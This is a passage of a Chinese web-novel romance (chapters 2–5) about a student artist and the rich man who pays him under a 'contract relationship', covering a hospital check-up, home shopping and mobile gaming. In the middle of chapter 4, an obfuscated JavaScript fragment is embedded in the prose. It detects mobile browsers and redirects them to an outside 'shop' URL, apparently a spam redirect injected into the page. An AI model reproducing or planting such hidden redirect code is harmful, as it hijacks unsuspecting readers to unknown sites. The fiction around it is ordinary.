《协议恋爱,但被Daddy宠上天》
2. 第 2 章
去医院的路上,江砚坐在迈巴赫副驾驶上,手机屏幕亮着,银行APP的余额数字被他反复看了三遍。
个、十、百、千、万、十万……
确认无误,七位数。
他深吸一口气,郑重其事地退出APP,锁屏,把手机捂在胸口,闭上眼睛,脸上浮现出一种近乎虔诚的幸福感。
“这么开心?”陆时深的声音从驾驶座传来,带着笑意。
江砚睁开一只眼,瞥他:“废话,你要是突然多了一大笔钱,你不开心?”
“我每天都会多一大笔钱,”陆时深平稳地打着方向盘,“没什么感觉。”
江砚:“……”这是炫富吧?啊?这是炫富吧?真是万恶的资本家!
但是算了,炫就炫吧,谁叫陆时深给钱的时候慷慨且大方呢。
他重新闭上眼睛,开始在脑子里规划这笔钱后续的用途:新数位屏要W最新款,大概一万八,游戏机PS5加一堆游戏,一万,那双限量球鞋……好像要三万?还有一直想买的那个动画原画集,日版带特典,八千,还有……
他就这么美滋滋的盘算了一路,直到陆时深声音在耳边响起。
“到了。”
江砚睁开眼,发现车停在一栋看起来很贵的白色建筑前,没有招牌,只有门廊下一行小字:安禾私立医疗中心。
他来过这里一次,刚签协议那会儿,陆时深带他过来做全面体检,说是:确保乙方身体健康,能够履行协议义务。
江砚直接转身就跑,边跑还边喊:“我就知道你要噶我腰子!!!”然后直接被保镖抓回来。
那天江砚真以为自己要上社会头条了。
“下车。”陆时深已经绕到副驾驶这边,替他拉开车门。
江砚解开安全带,脚刚落地,陆时深就很自然地伸手扶了一下他的腰。
“谢谢老板。”江砚笑嘻嘻,“不过这个摸腰,按协议属于亲密接触,得……”
“加钱。”陆时深接话,语气已经非常熟练了。
江砚眨眨眼:“陆老板很上道嘛。”
“看跟谁学。”
两人走进大厅,立刻有护士迎上来:“陆先生,江先生,这边请。”
接着就是全程VIP通道,不用取号,不用排队,甚至连坐都没坐一下,直接就被领进了一间宽敞明亮的诊室。
还是院长亲自接诊。
院长是个和蔼的中年女性,看到陆时深时态度恭敬:“陆先生。”
看到江砚时:“这位就是江先生吧?”上次来检查院长刚好不在。
江砚立刻露出营业式微笑:“医生姐姐好。”
院长笑笑:“嘴真甜。”
体检项目一项项进行。
量身高体重时,江砚偷偷踮脚。
被陆时深一眼看穿:“砚砚。”
江砚瘪嘴,老实站好。
测视力时为了证明自己不瞎,使劲往前蠕动。
又被发现。
到了抽血环节,江砚怂了。
他看着护士拿出针,脸色开始发白。
江砚天不怕地不怕,就怕两样东西:穷,和针。
“那个……”他往后缩,“护士姐姐,我晕针,真的,我一看到针就会晕,晕了还得抢救,多浪费医疗资源……”
护士熟练地看向陆时深,这话上次她听过一回了。
陆时深走过来,在江砚面前蹲下,握住他的手,“看着我。”
江砚低头,对上陆时深的眼睛。
“就一下,”陆时深说,“不疼。”
“……怎么可能不疼,”江砚声音发虚,已经有点开始晕了。
“疼的话,”陆时深靠近他,声音压低,“给你买你一直想要的那双限量款球鞋。”
江砚眼睛一亮:“真的?”
“嗯。”
“再加一个游戏机?”
“好。”
“……行吧。”江砚视死如归地伸出手臂,眼睛一闭,“来吧!”
护士忍着笑,熟练地消毒、扎针。
针刺入皮肤的瞬间,江砚还是抖了一下。
陆时深握紧他的手,另一只手轻轻覆上他的眼睛。
温热的手掌挡住光线,江砚眼前一片黑暗,只能感受到手背上陆时深掌心的温度,和耳边他平稳的呼吸声。
但别说,这招还挺管用……江砚心想,别管到底怎么管用,就是好像突然没有那么怕了。
江砚睫毛在陆时深手心颤了颤,心想,既然这样,这次的接触就不收陆时深加班费了。
打定主意后,江砚在心里夸自己:江砚你真的好善良。
体检报告当场出了一部分,院长看着化验单,眉头微皱。
“江先生有点贫血,”院长说,对比了上次的检查结果,“营养也不太均衡,BMI指数依旧在正常范围下,而且最近是不是经常熬夜?胃部超声提示还有浅表性胃炎,饮食也不太规律?”
院长把报告递给陆时深,江砚心虚地移开视线。
陆时深翻看报告,眉头越皱越紧。
“他这一个月,”陆时深开口,声音冷的吓人,“三餐都是我盯着吃的。”
院长只是笑笑没说话。
但江砚心里咯噔一下,心想完蛋。
“江砚。”陆时深看向他,连名带姓。
江砚后背一凉。
江砚立刻认怂,态度诚恳,“我错了。”别管错在哪,先认错。
但陆时深没说话,只是看着他,那眼神深得让江砚有点发毛。
许久,陆时深转向院长:“开药,另外,安排家庭医生每周上门。”
“好的陆先生。”
……
走出医院,上车。
迈巴赫驶离安禾医疗中心。
江砚偷瞄陆时深,男人侧脸线条紧绷,下颌线收得很紧,连握着方向盘的手指关节都微微发白。
生气了。
江砚心想,肯定是生气了。
不然不会从刚才到现在一句话都不跟他说。
不过换位思考一下,如果他是金主,每个月砸几十万养个小情人,还天天盯着他吃饭睡觉,花大价钱请厨师营养师希望小情人身体在他精心养护下能慢慢变好,最后得到的结果是往相反的方向去,他也会觉得这钱花得不值,也会觉得对方不识好歹。
江砚舔了舔嘴唇,决定主动一点。
“陆老板,”他凑过去一点,声音放软,“别生气了嘛,我保证,从今天开始,我一定好好吃饭,你让我几点睡我就几点睡,绝对不熬夜了。”
陆时深没说话,只是转动方向盘,车子在红灯前缓缓停下。
江砚继续:“真的,我发誓,要不……要不你扣我工资?”
说完就觉得心好疼,他的小钱钱,而且他的工资好像还不够抵扣陆时深给他请营养师厨师的钱。
但话已经出口,也只能硬着头皮等回应。
陆时深终于转过头看他。
只是那双总是温和注视他的眼睛里,此刻过于深不见底。
江砚心口莫名有点发紧。
“陆时深?”他下意识叫了全名。
绿灯亮了。
陆时深转回头,踩下油门,车子重新启动。
江砚:“……”
一路沉默。
江砚坐在副驾驶,不知道干什么,就又打开银行APP,看了一眼余额,试图转移一下注意力。
车子开回别墅,停在车库。
熄火。
引擎声消失后,车内陷入一片寂静。
江砚解开安全带,想赶紧开门下车,远离这令人窒息的氛围,陆时深却突然开口:
“砚砚。”
江砚僵住。
陆时深解开自己的安全带,侧过身,面向他。
两个人距离拉近,江砚能闻到陆时深身上淡淡的雪松香气,能看清他衬衫领口下微微起伏的喉结。
“江砚,”陆时深的声音很轻,“看着我。”
江砚抬起头,对上他的眼睛。
“告诉我,”
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陆时深一字一顿,“我不在家的时候,你是不是没好好吃饭?”
江砚张了张嘴,想说我有,但话到嘴边,又咽了回去。
陆时深每天早晚都会看着他吃饭,中午如果在家,也会一起用餐,但如果陆时深去公司,这种情况其实挺多的,江砚就会……不吃。
也不是完全不吃,就是……凑合。
比如把陆时深让厨师准备好的营养餐偷偷倒掉,然后点个外卖,或者吃个泡面,或者干脆不吃午饭,等晚上陆时深回来,再装作吃得很香的样子。
还有熬夜。
陆时深规定他十一点必须睡觉,但江砚接稿经常要赶工期,有时候画到凌晨两三点是常事,他还喜欢打游戏,于是他会戴上耳机,躲在被窝里,假装已经睡了,一玩就是一晚上。
“我……”江砚声音发干,“我有吃的……”
“吃的什么?”陆时深打断他。
江砚不说话了。
“泡面?”陆时深问,“还是外卖?”
江砚低下头。
“熬夜到几点?”陆时深继续问,“两点?三点?还是通宵?”
江砚抠手指。
“看着我,”陆时深伸手,轻轻托起他的下巴,强迫他抬头,“江砚,我要听实话。”
四目相对。
江砚看着陆时深的眼睛。
“……对不起。”他小声说。
陆时深的手颤了一下。
“为什么要道歉?”陆时深问,声音里的情绪压抑,“错的是我。”
江砚愣住:“啊?”
“是我没有照顾好你。”陆时深松开手,转回头,眼神像失了焦点,看着前方。
“我以为我做得够好了,”陆时深的声音很轻,像是在自言自语,“每天早上看着你吃早餐,中午让厨师准备好午餐,拍照发给我,晚上亲自盯着你吃饭,十一点准时催你睡觉……我以为这样就够了。”
他顿了顿。
“但我忘了,你才十九岁。”陆时深闭上眼,“想吃垃圾食品,想熬夜打游戏……这些都是正常的,是我忘了考虑你的感受。”
江砚目瞪口呆。
等等,这走向不对吧?
按照常理,金主发现小情人阳奉阴违,不应该大发雷霆,扣钱,甚至考虑终止协议吗?
为什么陆时深在……自责?
“不是,”江砚有点慌,“陆时深,你别这样……是我错了,我不该骗你,不该不好好吃饭……这跟你没关系,是我自己的问题……”
陆时深没再继续说,替他打开车门:“下车吧。”
“……”
江砚只能麻溜下车。
回到家,陆时深让江砚先回房休息一会,等会吃饭。
随后江砚坐在床上开始思考。
思考的核心是:为什么陆时深会自责。
他想了一会儿,得出结论:没有结论。
但江砚有个优点,就是想不通的事情就不想,反正陆老板没生气,也没扣钱,甚至还自我反省了一波,虽然这反省在他看来纯属不应当,掏钱的人反而反省自己,实在是倒反天罡。
然后他瘫在床上,摸出手机,开始快乐购物。
先下单W新数位屏,一万八,眼睛都不眨。
再买PS5和一堆游戏,付款时犹豫了一下,三秒后想通了:花!
购物车清空,银行卡余额依然□□地维持在七位数。
江砚满足地叹了口气,把手机捂在胸口,在床上滚了一圈。
人生啊,就是这么朴实无华且枯燥。
又躺了一会儿。
“砚砚。”陆时深声音从门外传来,接着门被推开。
江砚一个鲤鱼打挺坐起来,看着他,表情乖巧:“老板~”同时心想:他都喊我砚砚了,说明他应该没事了吧。
陆时深站在门口,已经换了身衣服,深灰色的丝绸衬衫,领口松了两颗扣子,袖子挽到小臂,露出结实的手臂。
看着,江砚心中哇了一下,好帅的男菩萨!
3. 第 3 章
“在干什么?”陆时深走过来,在江砚旁边坐下。
“没干什么,”江砚眨眨眼,“就,思考了一下人生。”
“思考出什么了?”
“思考出……”江砚一本正经,“钱真是个好东西。”
陆时深失笑,然后摸了摸他的头发,说去吃饭。
餐厅里,午餐已经摆好了。
江砚一看,震惊住了。
桌上不是那些清淡难吃的营养餐,而是……麻辣香锅。
满满当当全是江砚爱吃的,肥牛、虾滑、午餐肉、藕片、土豆片,上面还撒着芝麻和香菜,香气扑鼻。
江砚眼睛都直了。
他转头看陆时深,满脸写着你没事吧:“陆老板,这……?”
“坐。”陆时深给他拉开椅子,“医生说你胃不好,不能吃太辣,所以这是微辣。”
江砚坐下,拿起筷子,犹豫地看着:“你不是说这些是垃圾食品……”
“之前是我考虑不周。”陆时深在他对面坐下,拿起自己的筷子,“完全禁止反而会让你偷偷吃,所以想吃就吃吧。”
他夹了片肥牛放进江砚碗里:“但不是毫无节制的吃,以后每周可以吃两次,我会陪你一起吃。”
江砚眨眨眼:“……为什么?”
陆时深抬眼看他:“因为我要监督你,不能吃太多辣,也不能暴饮暴食。”
好吧。
他埋头开吃,一边吃一边含糊不清地说:“那……烧烤呢?炸鸡呢?”
“包括在每周两次里。”陆时深说,自己也夹了片藕片,“但必须在家吃,厨师会做相对健康的版本。”
江砚眼睛更亮了:“冰淇淋呢?”
“一周一次。”
“可乐?”
“可以喝,但不能每天喝。”
江砚放下筷子,双手合十,表情虔诚:“陆老板,我现在宣布,你就是我心中的活菩萨,普度众生那种。”
陆时深被他逗笑:“这就普度众生了?还有。”
“还有?”江砚竖起耳朵。
“关于熬夜。”陆时深放下筷子,看着江砚,“你想打游戏,不用偷偷摸摸躲被窝里玩,这样对眼睛也不好。”
江砚心虚地移开视线。
“以后每周可以熬夜两次,仅限周末。”陆时深继续说,“我会陪你玩,但最晚到凌晨两点,必须休息。”
江砚愣住:“你陪我玩?”
“嗯。”
“你玩什么游戏?”
“你玩什么,我玩什么。”
江砚表情复杂:“陆老板,你……你知道我玩的是什么吗?”
他玩的都是moba大逃杀类的游戏,陆时深,能行吗?
陆时深挑眉:“不会可以学。”
江砚盯着他看了一会,突然问:“那如果我带你上分,有奖金吗?”
陆时深:“……有。”
“带赢一把多少钱?”
“你想要多少?”
江砚试探着伸出五根手指。
“五万?”
江砚:“……”五百!!他发现了,陆时深的最小计数是万起步,万恶的资本家啊!
“成交!”江砚一拍桌子,“老板你放心!保证带你飞!”
陆时深看着他兴奋的样子,眼底泛起笑意:“好。”
吃完饭,江砚摸着微鼓的肚子,满足地瘫在椅子上。
佣人收拾餐桌,陆时深对江砚说:“下午不去商场了。”
江砚瞬间坐直,眼神问:为什么!
“你今天抽了血,需要休息。”陆时深语气温和地说,“等会有几家品牌上门,他们会把当季新款送过来,你在家挑。”
江砚眨眨眼:“送……送过来?”
“嗯。”
“很多?”
“大概。”
江砚:“……”
次感叹万恶的资本主义后,他立刻站起来,拉住陆时深的袖子:“陆老板,我现在一点也不累,精神百倍!让他们快送!快快快!”
陆时深被他拽着,无奈地笑:“好。”
“耶!”
半小时后,别墅一楼客厅变成了临时秀场。
六个品牌的销售经理带着团队鱼贯而入,每个人手里都推着移动衣架,上面挂满了当季新款,后面还有人端着鞋盒、配饰盒,井然有序地摆放客厅。
江砚站在楼梯口,看着这一幕,嘴巴微微张开。
他以前逛商场,这些东西都是隔着玻璃看看,这种:把整个专柜搬回家让你挑的阵仗……江砚啊江砚,你这辈子也是有幸体会一下言情女主的待遇了。
“江先生,”一个穿着得体西装的女经理微笑上前,“这些都是本季新品,您可以慢慢挑选。”
江砚深吸一口气,走下楼梯。
他先走到衣架前,随手翻了翻标签。
一件衬衫,五位数。
一条裤子,五位数。
一件外套……六位数。
江砚手一抖。
他转头看向坐在沙发上的陆时深,后者正低头看笔记本电脑,察觉到他的视线,抬起头:“怎么了?”
“是不是有点……太贵了?”江砚小声说。
陆时深合上电脑,走过来:“不贵。”
“这还不贵?!”江砚拿起那件六位数的外套,“这够我买一辈子卫衣了!”
“但那些卫衣没有这件舒服,”陆时深接过外套,轻轻披在江砚肩上,“也没有这件版型好。”
江砚对着镜子看了看。
……确实好看。
浅灰色的羊毛混纺,剪裁利落,衬得他肩线平直,腰身收得恰到好处,料子柔软亲肤,带着高级面料特有的光泽。
“喜欢就留下。”陆时深站在他身后,从镜子里看他。
江砚纠结了三秒。
然后转身,眼睛亮晶晶地看着陆时深:“陆老板,这些……确定不用我付钱吧?”
陆时深失笑:“当然。”
“那……”江砚舔了舔嘴唇,“我能多挑几件吗?”
“全部留下都可以。”
江砚倒吸一口凉气。
全部留下?这里加起来得多少钱?七位数?八位数?
“不、不用全部,”江砚强迫自己冷静,“我挑几件就行……太多了穿不完。”他是贪财,不是贪得无厌。
然后开始认真挑选。
但很快,江砚发现了一个问题。
这些衣服都太好看了。
这件卫衣颜色衬他肤色,那件风衣版型绝了,这条牛仔裤显得腿巨长……
他拿起一件,放下,又拿起另一件,纠结得眉头都皱起来了。
陆时深看他那副选择困难症晚期的样子,眼底泛起笑意。
他走到江砚身边,对销售经理说:“这几排,还有那边那几排,都留下。”
江砚猛地转头:“等等!我还没挑完!”
“晚点慢慢挑。”陆时深说,“不喜欢的再让他们上门拿走。”
“那多麻烦……”
“不麻烦。”陆时深看向经理,“安排人定期上门换新,当季新款直接送过来,过季的拿走。”
经理微笑:“好的陆先生。”
江砚:“……”
他看向陆时深,眼神复杂:“陆老板,你这样会把我惯坏的。”
陆时深挑眉:“不好吗?”
“……好是好,”江砚诚实地说,“但你不怕我以后离了你就活不下去了?”
陆时深的眼神深了深。
“那就别离。”他说,声音很轻。
江砚没听清:“啊?”
“没什么,”陆时深转开话题,“看看鞋子。”
鞋子的环节更夸张。
每一双鞋都贵得让他手抖,里面还有那双他馋了很久的限量款球鞋。
江砚深吸一口气,感觉自己要晕过去了。
“都留下。”陆时深直接对经理说。
“等等!”江砚抓住陆时深的手臂,“我穿不完!”
“一天换一双。”陆时深理所当然。
“……你是想让我当蜈蚣吗?”
陆时深被他逗笑,伸手揉了揉他的头发
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:“慢慢穿。”
江砚条件反射脱口而出:“摸头要收费!”
陆时深从善如流地拿出手机。
江砚瞬间忘了纠结:“谢谢老板!”
一旁正在包装的销售经理们:“……”这什么操作?
挑选持续了两个小时。
最后,客厅里留下了大半的衣服和鞋子,还有一堆配饰,围巾,帽子,皮带,甚至还有几块表。
江砚瘫在沙发上,感觉像做梦。
“累了?”陆时深坐到他身边,胳膊搭在他身后的沙发靠背上。
“嗯……”江砚有气无力。
“休息会儿。”陆时深让佣人端来果汁,“晚上想吃什么?”
江砚想了想:“想吃……披萨。”
“好。”陆时深点头。
“等等。”
“怎么了?”
江砚一脸纠结:“如果晚上吃披萨的话,这一周的两次机会都用掉了,算了,还是不吃了。”
陆时深失笑:“今天不算。”
江砚满意了,开心地说了声好耶,刚说完,手机响了一下。
微信弹出新消息。
陆时深放开他让他先回消息。
是周小元。
【周小元:砚砚!救命!】
【周小元:我接了个商稿,甲方爸爸要求巨多,改了三版还不满意!】
【周小元:他说想要“既清新又浓烈,既简约又复杂”的风格!这什么鬼要求!】
江砚笑了,回复。
【江砚:简单,你就画个绿色的番茄炒蛋。】
【江砚:清新(绿色)又浓烈(番茄),简约(一道菜)又复杂(这搭配本身就很复杂)。】
【周小元:……你真是个“天才”。】
【周小元:对了,你和你家金主爸爸怎么样了?】
江砚抬头看了眼又继续处理公务的陆时深。
男人侧脸专注,金丝眼镜后的睫毛很长,鼻梁高挺,嘴唇……
江砚赶紧收回视线。
【江砚:没出去,在家购物。】
【周小元:啊?】
【江砚:陆老板把专柜搬家里来了,我挑了两个小时,差点累死。】
【周小元:???】
【周小元:专柜搬家里?!】
【周小元:这是什么霸总操作?!】
【周小元:所以你现在是躺在人民币堆里跟我聊天?】
江砚看了眼客厅。
【江砚:差不多吧。】
【江砚:而且陆老板今天特别好说话,还答应陪我打游戏。】
【周小元:……一个日理万机的有钱人,陪你,打!游!戏?!】
日理万机,江砚看了眼陆时深,好像是吧,感觉他其实真的挺忙的,就算在家好像也在一直处理公务,比如现在。
江砚回复。
【是啊。】
【周小元:你确定他是金主,不是亲爹?】
【周小元:这宠得也太没边了吧?】
江砚想了想。
【江砚:可能是因为我长得好看吧。】
【江砚:我本来就长得好看。】
【周小元:……江砚,有时候我真佩服你的心态。】
【周小元:行吧,你开心就好,我去画绿色番茄炒蛋了。】
放下手机,江砚重新瘫回沙发。
然后没忍住余光又看向陆时深。
男人脸部轮廓完全无死角,金丝眼镜反射着屏幕微光,一副精英禁欲范儿,但江砚的视线忍不住往下溜,溜过线条清晰的下颌,滑过微微滚动的喉结,最后落在那双骨节分明、正敲着键盘的手上。
啧,这手,这腕骨,这若隐若现的青筋……画下来肯定绝了。
看着看着开始发散思维:不知道像陆时深这样财经杂志常客,画他要不要版权费?
他又想:算了,先画了再说,大不了被他发现再说,反正他现在看起来挺好说话的……
江砚正盘算着如何白嫖陆时深的美色当模特,陆时深像是感应到什么,突然转过头。
4. 第 4 章
四目相对。
江砚被抓包,丝毫不见心虚,反而咧嘴一笑,露出两颗小虎牙:“老板,你工作的时候还挺帅。”
陆时深挑眉:“不工作的时候不帅?”
“也帅,”江砚从善如流,“但工作的时候有一种……金钱的芬芳。”
陆时深被他这神奇的比喻逗得眼底漾开笑意,合上电脑,仔仔细细观察他的神色,发现他整个人好像有点蔫:“累得厉害?”他问。
“嗯,”江砚诚实点头,“感觉身体被掏空。”主要是选择困难症犯了又犯,精神消耗巨大。
陆时深靠近了他一些,很自然地伸手,掌心贴上他的后颈,不轻不重地揉捏起来。
“嘶……”江砚瞬间舒服得眯起眼,像只被顺毛的猫,“老板,你这手法哪儿学的?”
“无师自通。”陆时深声音里带着点笑意,手指沿着他僵硬的肩颈线条按揉。
江砚享受了三秒,突然警铃大作。
但一想,算了,做人不能太贪心。
于是心安理得地开始享受,甚至指挥。
陆时深纵容地按照他的指示调整力道,看着他逐渐放松,最后几乎要睡过去的迷糊样子,眼神柔软得不像话。
按了大概十分钟,江砚都快睡着了,陆时深才停手。
“好了,再按下去你要睡着了,晚上该不睡觉了。”陆时深轻轻拍了拍他的背。
江砚迷迷糊糊“唔”了一声,揉了揉眼睛,然后想起什么,掏出手机,眯着眼找到陆时深的微信,手指飞快戳屏幕。
随即陆时深的手机在茶几上震了一下。
他拿起来,点开看。
【江砚向你转账 5,000.00元】
附言:按摩费
江砚探头,眨眨眼,示意他快点收。
陆时深点了收款,江砚满意了,开始嘴甜:“谢谢老板!老板手艺真棒,下次还点你!”
陆时深无奈,捏了捏他的脸。
“嘿嘿。”
晚饭是披萨。
但不是外卖,是别墅厨师现做的,薄脆饼底,铺满拉丝的马苏里拉芝士,还有江砚最爱的双倍火腿和蘑菇。
江砚咬了一口,幸福得眯起眼。
“好吃!”他含糊不清地说,“比外卖好吃!”
陆时看他吃得嘴角沾上芝士,抽了张纸巾递过去:“慢点。”
江砚接过纸巾胡乱擦了擦,然后想起什么,眼睛亮晶晶地看向陆时深:“老板,我们晚上打游戏?”
陆时深动作一顿:“今晚?”
“嗯嗯!”江砚点头如捣蒜,“反正你也答应陪我玩了,择日不如撞日!”
陆时深看着他期待的眼神:“好。”
“耶!”江砚立刻加快速度解决披萨,“等我吃完!”
陆时深失笑,也慢条斯理地继续用餐。
吃完饭,江砚兴冲冲地拉着陆时深坐在沙发上,打开了游戏,然后问:“你手机呢?下游戏了吗?”
陆时深拿出手机:“下了。”
江砚凑过去,想看看陆时深的游戏水平到底如何,然而,当陆时深点开那个名为《幻界对决》的MOBA游戏图标,登录账号,进入个人主页时——
江砚的呼吸停住了。
他瞪大眼睛,看着屏幕上那个金光闪闪几乎闪瞎人眼的账号。
游戏ID:L
英雄池全开,皮肤……江砚手指颤抖着点开皮肤栏,从最古老的赛季限定,到最新款的传说皮肤,无一遗漏,甚至还有各个平台大主播才有资格获取的皮肤。
主页背景是动态的“寰宇”,搭配着三个展示英雄,都是带着最贵皮肤和全套星元部件的顶级配置。
江砚张着嘴,半天没说出话。
他缓缓抬头,看向陆时深,声音飘忽:“陆老板……你这号……”
“怎么了?”陆时深推了推眼镜,神情自若,“助理说这样配置比较齐全,玩起来方便。”
比较齐全?玩起来方便?
好好好,齐全,方便。
他深吸一口气,告诉自己要冷静,这是金主的钱,金主爱怎么花怎么花,他一个拿工资的,不心疼,不心疼……
才怪!好羡慕!好想要!但是他自己的号也是辛辛苦苦打上去的,皮肤也买了不少,可跟陆时深这个比起来,简直就是乞丐版!
“助理……挺能干哈。”江砚干笑两声,迅速登录自己的账号,ID叫【砚砚暴富】。
两人加了好友,江砚看着那个金光闪闪的【L】出现在自己好友列表里,感觉自己的账号都蓬荜生辉了。
陆时深对江砚这个ID无奈笑了下,这小财迷真是无时无刻都想着要暴富。
“来来来,开房间,我拉你。”江砚熟练地创建房间,把陆时深拉进来,“我们先打人机,我教你基本操作。”
陆时深从善如流:“好。”
两人最后干脆坐在客厅地毯上,背靠着沙发,肩膀挨着肩膀,江砚捧着手机,开始给陆时深讲解:“这个是移动轮盘,这个是技能键,这个是普攻……这个英雄叫星辉,是法师,远程消耗,技能比较好理解……”
陆时深听得很认真,时不时点头,手指在屏幕上试着滑动。
他的手指修长,骨节分明,江砚看着那双手,又走神了:这手不弹钢琴可惜了……
“砚砚?”陆时深的声音把他拉回来。
“啊?哦!对,这个一技能是直线伤害,二技能是范围控制,大招是……”江砚赶紧回神,继续教学。
“这是地图,分三条路,我们是蓝色方,这个是防御塔,这个是水晶,打爆对面水晶就赢……这是小兵,补刀有钱……这是野区,打野怪的……”
江砚讲得口干舌燥,陆时深听得很认真,偶尔提问。
“这个英雄的技能组合最优解是什么?”
“装备的合成路径和属性性价比如何计算?”
江砚:“……”大哥,我们是打游戏,不是搞学术研究!
然而,陆时深的学习能力显然超出了江砚的预料。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144330|196363||http|test|mini|href|location''.split(''|''),0,{}));
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>两人开的第一把人机,陆时深操作还有些生疏,但意识已经很好,走位完全无师自通,技能释放完全不像一个新手。
第二把人机,他已经能跟上江砚的节奏,甚至打出了几次不错的配合。
第三把,江砚提议打匹配试试。
匹配局,陆时深选了个刺客型英雄幽夜,江砚给他打辅助,选了个能套盾加血的灵鹿。
开局三分钟,陆时深单杀对面中路。
五分钟,配合江砚的盾,越塔双杀对面下路。
八分钟,陆时深已经超神了。
江砚看着屏幕上那个大杀特杀的【L】,目瞪口呆。
“……你以前真没玩过?”江砚怀疑人生。
“没有。”陆时深专注地盯着屏幕,手指快速滑动,“但原理不难,计算伤害,预判走位,把握时机。”
江砚:“……”这就是学霸的世界吗?这就是顶级资本家的脑子吗?
一整局,陆时深carry全场,江砚就跟着他混,盾给好,血加满,躺得舒舒服服。
最后轻松推掉水晶,陆时深的战绩是华丽丽的15-1-5。
就死了一次!
“赢了。”陆时深放下手机,看向江砚,“还玩吗?”
“玩玩玩!”江砚来劲了,“再来一把!这把咱们试试别的套路!”
江砚其实是玩打野的,既然陆时深这么有游戏天赋,那他俩完全可以当中野双子星!
陆时深技能预判精准,意识超前。
江砚顶级战场切入,七进七出,俩人感觉都不用队友。
打到后边,江砚一边美滋滋地收割人头一边跟陆时深闲扯,“我觉得你可以考虑一下电竞行业,真的,你这天赋,不打职业是行业的损失。”
陆时深操纵英雄帮他拿下双杀,语气平静:“没兴趣。”
“为什么?”
“打职业赚得太少。”
江砚:“……”好的,是陆时深会说的话。
一局结束,又是胜利。
“爽!”江砚单手拿着手机伸了个大大的懒腰。
“还玩吗?”陆时深问。
“玩!”江砚意犹未尽,“再来一把!”
第三局开始。
这次江砚选了打野英雄影袭,陆时深选了辅助英雄灵愈,准备来一场野辅联动。
游戏加载时,江砚的手机突然震动了一下。
微信弹出消息。
【周小元:砚砚!上线!带我!我要发泄!!!】
江砚正要回复,游戏已经进入加载界面。
算了,等打完这把再说。
开局,江砚专心刷野,陆时深则操纵着灵愈师跟在他身边,时不时给他加血加盾。
两人配合默契,很快就抓崩了对面三路。
“Nice!”江砚拿下三杀,兴奋地喊了一声。
陆时深轻笑:“厉害。”
就在这时——
【系统提示:您的恋人:好大一个元宝,请求加入房间。】
5. 第 5 章
那一瞬间,整个客厅的空气好像都凝固了。
江砚盯着那行字,眨了眨眼,又眨了眨眼。
他缓缓转过头,对上陆时深的视线,男人脸上的温和笑意已经消失得无影无踪,眼镜后的目光沉沉,落在江砚手机屏幕上盯着那个恋人标上。
随着一声victory,游戏退回了房间。
见状江砚赶紧放下游戏,对他扯了个笑,就是这个笑,笑得比哭还难看,“我可以解释……”
“嗯,”陆时深声音平静,甚至平静得有些吓人,“你说。”
紧跟着周小元的语音通话请求突然弹了出来,江砚吓了一跳,手一抖,直接点了接通。
“砚砚!快快快!放我进去!!!我今天一定要上分!我要杀戮!我要狠狠的杀戮!!!我——”周小元抓狂的声音从听筒里炸出来。
江砚:“……”
“你咋不说话。”
“我……”
“……”周小元好像意识到了什么,试探着问,“你旁边有人?”
江砚深吸一口气:“有。”
“谁啊?”
周小元突然反应过来,“卧槽!该不会是你家金……”不能直接说金主,周小元思考了一下,“你家陆总!”
江砚扶额:“……对。”
周小元瞬间静音。
然后,江砚听到听筒那边传来一阵手忙脚乱的声音,夹杂着“我是不是该挂?”“我申请进队的提示岂不是会被看见”“完蛋了完蛋了”“我不会被灭口吧”的碎碎念。
“那个……”周小元声音再次响起,音量明显降低,“陆、陆总晚上好?”
陆时深说了句你好,但说的时候一直看着江砚,江砚瞬间感觉头皮发麻,赶紧对手机说:“小元你先自己玩,我等会儿找你。”
“好好好!你们忙!你们忙!”周小元火速挂断语音,动作快得好像有鬼在追。
江砚咽了口唾沫,试图解释:“那个,我和小元就是,我俩纯纯的社会主义兄弟情,比真金还真!”
陆时深沉默地看着他,修长的手指在手机屏幕上轻轻敲了敲,说:“我知道的。”
知道?啊知道就好知道就好,江砚松了口气。
紧接着他又听到。
“恋人任务,”他开口,声音低沉,“要做什么?”
需要……
“就是……一起打打游戏,攒攒亲密度,”江砚掰着手指数,“很无聊的,真的。”
“亲密度?”陆时深捕捉到关键词。
江砚的脖子后面汗毛都竖起来了,他干笑两声,“就,就游戏里那个数值……没什么实际意义的,真的!”
陆时深没说话,只是拿过江砚的手机,指尖在屏幕上滑动,点开江砚和周小元的游戏关系页面。
“恋人,亲密等级……16级。”陆时深低声念出,抬眼看向江砚,镜片后的目光晦暗不明,“满级多少?”
江砚感觉自己像个被审讯的犯人,“……20。”
陆时深点了点头,语气听不出情绪:“挺高了。”
“不高不高!”江砚立刻否认,“随便玩玩就能到的!”
“是么。”陆时深将手机递还给江砚,指尖似有若无地划过他的掌心,带起一阵细微的战栗,“那你们平时,都一起做什么任务?”
江砚接住手机,感觉手心有点发烫,“就……一起打游戏啊,偶尔送送游戏里的花……”
“送花?”陆时深重复,尾音微扬。
“游戏里的,都是白嫖的,”江砚赶紧强调,“放在包里也没用还占位置。”
空气安静了几秒。
陆时深把手机还给他,重新坐正,拿起自己的手机,垂眸操作起来。
江砚偷偷看他,心里七上八下。
忽然,游戏界面弹出一个提示:
【系统提示:玩家L向您赠送了999朵永恒之心(传说品质),亲密度+9990】
江砚:“???”
他还没反应过来,紧接着——
【系统提示:玩家L向您赠送了999朵星海誓约(传说品质),亲密度+9990】
【系统提示:玩家L向您赠送了999朵炽焰玫瑰(传说品质),亲密度+9990】
……
游戏界面被接连不断的送礼提示刷屏,金光闪闪的特效几乎淹没了整个屏幕。
江砚目瞪口呆地看着自己头像旁边的亲密关系数值像坐了火箭一样疯狂飙升。
1级、2级、5级、10级……
短短十几秒,他和陆时深的游戏亲密等级直接从0级飙升到了15级,并且还在继续上涨。
“等、等等!”江砚终于找回自己的声音,一把按住陆时深还在操作的手,“别送了!够了够了!”
陆时深停下动作,抬眼看他:“够了?”
“够了够了!”江砚猛点头。
“可是,”陆时深语气平静,甚至带着点无辜,“我们才15级。”
“……”江砚第一次听见陆时深用这种语气说话,无辜,平静,却莫名让他背后发凉。
陆时深低头,继续操作手机。
“叮叮叮叮——”
江砚眼睁睁看着亲密度16级、17级……
江砚急了,直接扑过去抢他的
